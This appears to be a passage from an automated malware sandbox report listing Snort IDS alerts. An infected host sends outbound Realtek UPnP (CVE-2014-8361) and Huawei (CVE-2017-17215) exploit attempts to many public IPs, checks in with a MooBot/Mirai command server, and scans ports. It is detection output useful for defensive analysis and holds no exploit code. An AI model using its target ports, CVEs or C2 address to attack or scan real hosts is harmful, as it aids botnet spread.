Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:38498 -> 101.73.4.16:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:50220 -> 198.139.127.65:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:50220 -> 198.139.127.65:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:55982 -> 137.36.77.53:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:55982 -> 137.36.77.53:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:41096 -> 78.233.207.44:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:41096 -> 78.233.207.44:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:51580 -> 187.150.149.148:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:51580 -> 187.150.149.148:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:55328 -> 105.38.165.57:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:55328 -> 105.38.165.57:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:45876 -> 42.140.137.117:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:45876 -> 42.140.137.117:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:52194 -> 162.187.150.19:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:52194 -> 162.187.150.19:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:42512 -> 195.235.63.144:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:42512 -> 195.235.63.144:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:34076 -> 62.80.115.9:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:34076 -> 62.80.115.9:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:37800 -> 81.130.219.80:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:37800 -> 81.130.219.80:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:34854 -> 138.132.215.240:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:34854 -> 138.132.215.240:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:58896 -> 107.96.10.112:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:58896 -> 107.96.10.112:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:60188 -> 92.253.193.163:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:60188 -> 92.253.193.163:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:55022 -> 152.36.106.192:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:55022 -> 152.36.106.192:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:39096 -> 57.150.87.191:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:39096 -> 57.150.87.191:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:38986 -> 185.61.229.112:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:38986 -> 185.61.229.112:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:58708 -> 46.81.190.204:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:58708 -> 46.81.190.204:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:50094 -> 196.5.188.187:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:50094 -> 196.5.188.187:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:33656 -> 78.110.167.93:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:33656 -> 78.110.167.93:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:47722 -> 194.72.202.29:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:47722 -> 194.72.202.29:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:59960 -> 66.105.78.156:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:59960 -> 66.105.78.156:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:42966 -> 93.187.137.171:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:42966 -> 93.187.137.171:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:43258 -> 213.105.255.191:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:43258 -> 213.105.255.191:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:36184 -> 44.187.248.15:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:36184 -> 44.187.248.15:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:43492 -> 54.82.97.176:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:43492 -> 54.82.97.176:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:41664 -> 132.142.106.204:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:41664 -> 132.142.106.204:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:48552 -> 205.216.169.243:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:48552 -> 205.216.169.243:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:54398 -> 97.127.217.219:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:54398 -> 97.127.217.219:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:36832 -> 104.34.54.41:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:36832 -> 104.34.54.41:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:45062 -> 130.201.224.129:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:45062 -> 130.201.224.129:52869
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36628 -> 41.113.145.203:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36628 -> 41.113.145.203:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:47720 -> 41.101.51.250:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:47720 -> 41.101.51.250:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:43072 -> 197.249.186.160:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:43072 -> 197.249.186.160:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46660 -> 157.218.98.239:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46660 -> 157.218.98.239:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50332 -> 157.199.216.214:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50332 -> 157.199.216.214:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54840 -> 157.136.223.71:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54840 -> 157.136.223.71:37215
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:34638 -> 88.169.184.0:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:34638 -> 88.169.184.0:52869
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54002 -> 41.231.6.176:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54002 -> 41.231.6.176:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58838 -> 157.215.207.96:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58838 -> 157.215.207.96:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54930 -> 41.102.235.10:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54930 -> 41.102.235.10:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36226 -> 197.221.35.92:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36226 -> 197.221.35.92:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44416 -> 41.200.3.249:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44416 -> 41.200.3.249:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33028 -> 41.22.217.152:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33028 -> 41.22.217.152:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54520 -> 197.46.239.156:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54520 -> 197.46.239.156:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51370 -> 197.17.61.246:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51370 -> 197.17.61.246:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33426 -> 157.250.31.164:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33426 -> 157.250.31.164:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52920 -> 41.18.75.134:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52920 -> 41.18.75.134:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:47602 -> 197.248.194.40:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:47602 -> 197.248.194.40:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35682 -> 197.70.4.171:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35682 -> 197.70.4.171:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46668 -> 157.76.93.169:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46668 -> 157.76.93.169:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36192 -> 157.76.157.23:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36192 -> 157.76.157.23:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38382 -> 41.187.161.26:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38382 -> 41.187.161.26:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57804 -> 197.42.25.100:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57804 -> 197.42.25.100:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55710 -> 150.159.12.246:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55710 -> 150.159.12.246:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58852 -> 60.102.77.146:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58852 -> 60.102.77.146:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:45594 -> 197.75.246.24:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:45594 -> 197.75.246.24:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:39846 -> 157.1.73.107:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:39846 -> 157.1.73.107:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44046 -> 85.61.71.33:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44046 -> 85.61.71.33:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60614 -> 197.74.70.31:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60614 -> 197.74.70.31:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:39376 -> 197.93.134.229:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:39376 -> 197.93.134.229:37215
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:54066 -> 218.45.227.32:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:54066 -> 218.45.227.32:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:45436 -> 177.34.128.116:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:45436 -> 177.34.128.116:52869
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:55944 -> 15.235.203.214:2466
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:33600 -> 54.54.215.85:52869
Source: Traffic	Snort IDS: 2831300 ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 192.168.2.13:33600 -> 54.54.215.85:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:50206 -> 124.62.99.179:52869
Source: Traffic	Snort IDS: 2831300 ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 192.168.2.13:50206 -> 124.62.99.179:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:43908 -> 36.180.172.129:52869
Source: Traffic	Snort IDS: 2831300 ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 192.168.2.13:43908 -> 36.180.172.129:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:50906 -> 131.82.186.16:52869
Source: Traffic	Snort IDS: 2831300 ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 192.168.2.13:50906 -> 131.82.186.16:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:60490 -> 66.56.180.47:52869
Source: Traffic	Snort IDS: 2831300 ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 192.168.2.13:60490 -> 66.56.180.47:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:50660 -> 155.180.4.142:52869
Source: Traffic	Snort IDS: 2831300 ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 192.168.2.13:50660 -> 155.180.4.142:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:60844 -> 221.37.81.113:52869
Source: Traffic	Snort IDS: 2831300 ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 192.168.2.13:60844 -> 221.37.81.113:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:42658 -> 8.26.166.115:52869
Source: Traffic	Snort IDS: 2831300 ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 192.168.2.13:42658 -> 8.26.166.115:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:39650 -> 89.229.96.227:52869
Source: Traffic	Snort IDS: 2831300 ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 192.168.2.13:39650 -> 89.229.96.227:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:42828 -> 100.11.251.147:52869
Source: Traffic	Snort IDS: 2831300 ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 192.168.2.13:42828 -> 100.11.251.147:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:35100 -> 73.83.129.52:52869
Source: Traffic	Snort IDS: 2831300 ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 192.168.2.13:35100 -> 73.83.129.52:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:57116 -> 209.76.121.16:52869
Source: Traffic	Snort IDS: 2831300 ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 192.168.2.13:57116 -> 209.76.121.16:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:44836 -> 171.175.125.48:52869
Source: Traffic	Snort IDS: 2831300 ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 192.168.2.13:44836 -> 171.175.125.48:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:33116 -> 159.113.67.133:52869
Source: Traffic	Snort IDS: 2831300 ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 192.168.2.13:33116 -> 159.113.67.133:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:46576 -> 42.140.137.117:52869
Source: Traffic	Snort IDS: 2831300 ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 192.168.2.13:46576 -> 42.140.137.117:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:46960 -> 39.125.186.30:52869

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 35.215.18.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 200.111.219.20 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 204.247.158.164 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 184.244.251.192 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 9.105.60.39 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 203.131.200.43 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 182.216.84.216 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 88.166.52.151 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.184.33.48 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 84.107.7.192 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 132.143.62.22 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 123.82.131.246 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 82.195.250.33 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 160.115.110.207 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 54.46.234.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 99.58.50.105 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.222.124.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 151.255.247.73 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 78.194.200.52 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 110.140.65.107 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 113.13.202.5 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 175.32.122.132 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 160.106.55.221 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 203.68.243.25 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 37.184.248.25 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.91.179.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.35.236.113 ports 1,2,3,5,7,37215
